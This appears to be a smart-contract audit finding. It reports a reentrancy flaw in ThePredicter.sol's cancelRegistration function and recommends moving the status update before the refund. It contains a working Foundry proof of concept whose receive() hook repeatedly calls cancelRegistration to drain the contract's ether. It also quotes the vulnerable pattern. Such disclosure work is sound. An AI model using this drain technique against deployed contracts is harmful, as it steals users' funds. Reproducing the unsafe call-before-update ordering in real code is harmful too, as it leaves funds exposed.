Summary
The cancelRegistration function of the ThePredicter.sol contract did not follow the CEI(Check, Effect, Interraction) rule of execution, hence the protocol is vulnerable to reentrancy attack leading to all funds being drained from the contract.
Vulnerability Details
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
the above function is the loop hole for attack because playersStatus[msg.sender] = Status.Canceled is being effected after the entryFee refund.
if an attacker can simply deploy a malicious smart contract and use it to register as a User. The attacker will wait till enough entryFee has been deposited and then call cancelRegistration. the exploit is deviced using fallback or receive function in the malicious contract where cancelRegistration is called repeatedly untill all funds are drained.
PoC
The exploit is demonstrated using the default foundry account as shown below
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ThePredicterTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("Ivan");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function test_reentrancy()public{
for (uint256 i = 0; i < 29; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
thePredicter.register{value: 0.04 ether}();
uint256 balB4 = address(this).balance;
thePredicter.cancelRegistration();
uint256 balanceAfterExploit = address(this).balance;
assertEq(balanceAfterExploit-balB4, 1.2 ether);
}
receive() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
}
Impact
Tools Used
Manual review
Foundry test
Recommendations
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}